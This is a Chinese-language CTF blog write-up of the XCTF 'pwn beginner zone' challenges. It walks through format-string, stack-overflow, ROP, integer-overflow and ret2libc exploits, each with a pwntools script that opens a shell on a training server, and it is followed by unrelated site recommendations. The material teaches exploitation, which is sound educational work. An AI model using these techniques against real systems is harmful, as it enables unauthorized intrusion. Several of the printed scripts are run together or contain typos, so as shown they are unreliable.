攻防世界pwn之新手区
涉及的工具有
Ubuntu 16.04
pwntools
IDA
gdb-peda
1、get_shell
连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件,cat flag得到flag

64位的ELF 保护机制只有NX

然后用IDA看看,找到main函数,查看伪代码

system函数可以直接获得shell ,连接就可以获得get shell
from pwn import *
r=remote('111.198.29.45',51214)
r.interactive()

2、CGfsb
先看看文件位数和保护机制

这里利用的是格式化字符串漏洞,当printf后面带的是%n,那么它会把前面的字符串的长度输入到内存中,只需要让n前面有八个字符,就可以让s等于8,pwnme=s=8,就可以cat flag

寻找一下输入的参数在printf函数中的位置,通过不断打印%x泄露内存的地址,发现61616161在第10位,61是a的ascll码

那么可以构造exp
804a068是pwnme的地址,‘aaaa’和n前面的字符凑成8个字符 ,$是偏移量,意味着偏移了10
rom pwn import *
r=remote('111.198.29.45',46202) r.recvuntil("please tell me your name:")
r.sendline('name') payload=p32(0x804a068)+'aaaa'+'%10$n'
r.sendline(payload) r.interactive()
执行结果

3、when_did_you_born
检查保护机制

然后拖到IDA

要使v5输入1926才能cat flag 但是一输入1926就退出程序了,gets函数可以溢出,我们就可以在输入的名字(v4)的时候填充无意义字符使其溢出,把v5原本的值覆盖掉,替换成1926
在IDA双击&4(var_20)和&5(var_18) 发现它们相差0x8个字符。

当v4输入的长度大于0x8个字符,大于8个的数会覆盖掉v5,使v5重新赋值
那么可以构造脚本
from pwn import *
r=remote('111.198.29.45',51232) r.recvuntil("What's Your Birth?")
r.sendline('') #随便填 r.recvuntil("What's Your Name?")
payload='a'*0x8+p32(0x786) #0x786的十进制是1926
r.sendline(payload)
r.interactive()
执行,获取flag

4、hello_pwn
64位的ELF

打开了NX保护

丢到IDA看看,只需要让dword_601068等于1853186401就可以执行sub_400686函数获取flag


read存在溢出,且unk_691968和dword_60106c偏移量为4,那么很轻松就可以覆盖dword_60106c的值

编写脚本
from pwn import *
#p=process('./hello_pwn')
p=remote('111.198.29.45',31449)
payload = 'a'*0x4+p64(1853186401)
p.recvuntil("bof")
p.sendline(payload)
p.interactive()
执行

5、level0
程序是64位

NX保护

看看伪代码先

返回vulnerable_function函数,read函数存在溢出

看看其他函数,_system函数可以执行系统命令

shift+F12看看字符串,发现有shell

思路很明确,让read函数溢出然后执行system函数,并让system函数的参数为/bin/sh, 我们就可以get到shell了
但是这是一个64位的程序,与32位不同,无法直接传参进去,64位的程序会先把参数先存入寄存器中,前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9,所以我们需要找到rdi的地址

然后再找到‘/bin/sh’的地址

以及system的地址

脚本如下
from pwn import *
r=remote('111.198.29.45',47491)
rdi_add=0x400663
shell_add=0x400684
sys_add=0x400460 payload='a'*0x88+p64(rdi_add)+p64(shell_add)+p64(sys_add)
r.sendline(payload)
r.interactive()

--------------------------分割线------------------------------------
后面承认我瞎,没有看到callsystem函数可以直接调用shell

重新写脚本
from pwn import *
r=remote('111.198.29.45',47491)
payload='a'*0x88+p64(0x400596)
r.sendline(payload)
r.interactive()
结果如上,不再演示
6、level2

32位的ELF 只有NX保护

丢到IDA看看,引用vulnerable_funcion函数


system可以执行

shift+F12同样看到了shell

思路跟上一题差不多,直接read溢出,利用system函数传参来get shell
脚本如下
from pwn import *
r=remote('111.198.29.45',45695)
sys_add=0x8048320
shell_add=0x804a024
payload='a'*(0x88+0x4)+p32(sys_add)+'aaaa'+p32(shell_add) #aaaa是无效的返回地址
r.sendline(payload)
r.interactive()
执行结果

8、guess_num
检查文件

用IDA打开看看


需要连续猜中10次才能得到flag,但是上面函数有gets这个危险的函数


v9经过0x20个字符就溢出到seed,那么如果把seed[0]变成我们可控的数字,就可以使v6和v8相等,得到flag
借鉴大佬的exp
from pwn import *
from ctypes import * #python标准库中自带的ctypes模块进行python和c的混合编程 r=remote('111.198.29.45',34125)
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload='a'*0x20+p64(1)
r.recvuntil("\n")
r.sendline(payload)
libc.srand(1)
for i in range(10):
num=str(libc.rand()%6+1)
r.recvuntil('\n')
r.sendline(num) r.interactive()
libc的共享库可以用ldd调用

执行结果

9、int_overflow
详细解题思路链接
https://bbs.pediy.com/thread-254851.htm
先把流程走一遍

选1可以输入名字和密码(密码要3到8位)否则判定无效数字,选2直接退出,然后我们看看判断的函数

v3是一个无符号类型的数字,意味着范围只能到0-255,如果输入256,那么他会输出0,这里存在整数溢出,无论是3~8还是259~264都是可以通过验证的,那么就可以通过strcpy的栈溢出覆盖what_is_this的返回地址,来获得flag

exp如下
from pwn import *
r=remote('111.198.29.45',50332)
e=ELF("./int_overflow")
what_is_this_addr=e.symbols['what_is_this'] r.recvuntil('Your choice:')
r.sendline('')
r.recvuntil('Please input your username:')
r.sendline('aaa')
r.recvuntil('Please input your passwd:') payload='a'*(0x14+0x4)+p32(what_is_this_addr)
payload=payload.ljust(262,'a') r.sendline(payload)
r.interactive()
执行结果

10、cgpwn2
先检查发现是一个32位的程序,只有NX保护

用IDA打开

上面那一大串没什么用,但是有fgets函数和gets,同时name在bss段中,是全局变量

思路就是 用fgets输入“/bin/sh“,返回地址覆盖成system的地址,再把传参(/bin/sh)到system里面即可get shell了
from pwn import *
r=remote('111.198.29.45',31947)
name_addr=0x804A080 #bss段中name的地址
e=ELF("./cgpwn2")
sys_addr=e.symbols["system"] #获取system的地址
r.recvuntil("\n")
r.sendline("/bin/sh")
payload='a'*(0x26+0x4)+p32(sys_addr)+p32(0xaaaa)+p32(name_addr) #0xaaaa是system的返回地址,随便填
r.recvuntil("\n")
r.sendline(payload)
r.interactive()
执行结果

11 level3
ret2libc
因为之前做过,故不在演示
https://www.cnblogs.com/gaonuoqi/p/11684294.html
思路:通过read函数的栈溢出返回到write函数泄露出write本身或者read的地址,虽然libc里面的地址是随机的,但是函数的相对位置是固定的,知道了read或wirte的真实地址就可以通过偏移量找到libc里面的system和/bin/sh,之后再次返回到vulnerable_funciton进行二次read的栈溢出,返回地址是system,并传入参数/bin/sh构造system(/bin/sh)
exp如下
from pwn import *
r=remote('111.198.29.45',33181) e=ELF('./level3')
write_got=e.got['write']
write_plt=e.plt['write']
func_addr=e.symbols['vulnerable_function'] payload='a'*(0x88+0x4)+p32(write_plt)+p32(func_addr)+p32(0x1)+p32(write_got)+p32(0x4)
r.recvuntil('Input:\n')
r.sendline(payload) write_addr=u32(r.recv(4)) libc=ELF('./libc_32.so.6')
write_libc=libc.symbols['write']
sys_libc=libc.symbols['system']
bin_libc=libc.search('/bin/sh').next() offset=write_addr-write_libc
sys_addr=offset+sys_libc
bin_addr=offset+bin_libc payload2='a'*(0x88+0x4)+p32(sys_addr)+p32(func_addr)+p32(bin_addr)
r.recvuntil('Input:\n')
r.sendline(payload2) r.interactive()
执行结果

攻防世界pwn之新手区的更多相关文章
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- 攻防世界-WEB-新手练习区
附:|>>>攻防世界-WEB-高手进阶区<<<|
- 攻防世界PWN简单题 level0
攻防世界PWN简单题 level0 开始考验栈溢出的相关知识了 Checksec 一下文件 看看都开了什么保护 和 是多少位的程序 发现是64位的程序, 扔进IDA64.IDA YYDS.. 进入主函 ...
- 攻防世界PWN简单题 level2
攻防世界PWN简单题 level2 此题考验的是对ROP链攻击的基础 万事开头PWN第一步checksec 一下 32位的小端程序,扔进IDA 进入函数,找出栈溢出漏洞. 又是这个位置的栈溢出,rea ...
- 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup
攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...
- 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup
攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...
- 攻防世界 WEB 高手进阶区 easytornado Writeup
攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /w ...
- 攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup
攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup 题目介绍 题目考点 SSTI模板注入漏洞 Writeup 知识补充 模板注入:模板引 ...
- 攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup
攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup 题目介绍 题名考点 PHP反序列化漏洞 正则匹配 Writeup <?php class Demo ...
随机推荐
- OSPF与ACL综合实验
OSPF与ACL综合实验 1.实验内容 (1)企业内网运行OSPF路由协议,区域规划如拓扑图所示(见3.实验拓扑图): (2)财务和研发所在的区域不受其他区域链路不稳定性影响: (3)R1.R2.R3 ...
- 团队项目-Alpha版本发布2
这个作业属于哪个课程 课程的链接 这个作业的要求在哪里 作业要求的链接 团队名称 西柚三剑客 这个作业的目标 -Alpha2版本发布说明,给出测试报告,并进行总结 1. 团队成员的学号列表 团队成员 ...
- LeetCode解题笔记 - 20. Valid Parentheses
这星期听别人说在做LeetCode,让他分享一题来看看.试了感觉挺有意思,可以培养自己的思路,还能方便的查看优秀的解决方案.准备自己也开始. 解决方案通常有多种多样,我觉得把自己的解决思路记录下来,阶 ...
- windows10安装最新的redis
官方给的redis的windows版本最新为3,而linux版本是5 这里通过win10子系统安装,win10子系统的配置见另一篇博客https://www.cnblogs.com/MC-Curry/ ...
- Springboot整合Thmeleaf
1.概述 Thymeleaf类似JSP.Velocity.Freemarker都是模板引擎,主要用来展示数据,原理如下 springboot官网还是推荐使用Thymeleaf而不是jsp, 不使用js ...
- 为何我建议1-3年的Java程序员仔细看看这篇文章
此文的目的是为了督促自己去不断学习,让自己有更明确的方向去提升自己.以技能树为基础,以面试要点为大纲,我觉得比抓住什么看什么要更有目的,更能坚持下去.世界瞬息万变,我们要时刻准备着.时刻提高着自己,才 ...
- Docker容器 MySQL中文乱码解决方案
docker exec进入容器 sudo docker exec -it 588340b778f6 bash 执行以下命令,将 character-set-server=utf8 写入mysql配置文 ...
- Spring Boot快速集成kaptcha生成验证码
Kaptcha是一个非常实用的验证码生成工具,可以通过配置生成多样化的验证码,以图片的形式显示,从而无法进行复制粘贴:下面将详细介绍下Spring Boot快速集成kaptcha生成验证码的过程. 本 ...
- .net core项目启动时报_未处理Socket异常(以一种访问权限不允许的方式做了一个访问套接字的尝试。)
解决方案:一般的原因就是程序的端口被占用了,关掉占用端口的程序即可正常使用. 查看启动地址和配置的webserver服务器的端口号是否被占用,可能占用的有:IIS启用项目,解决方案中其他启动项目配置 ...
- Asp.Net Mvc自定义控件之树形结构数据生成表格 - WPF特工队内部资料
最近项目中有一个需求,将树形结构的数据,以表格的形式展示在页面中,下图是最终呈现效果: 源码: @{ Layout = null; } <!DOCTYPE html> <html&g ...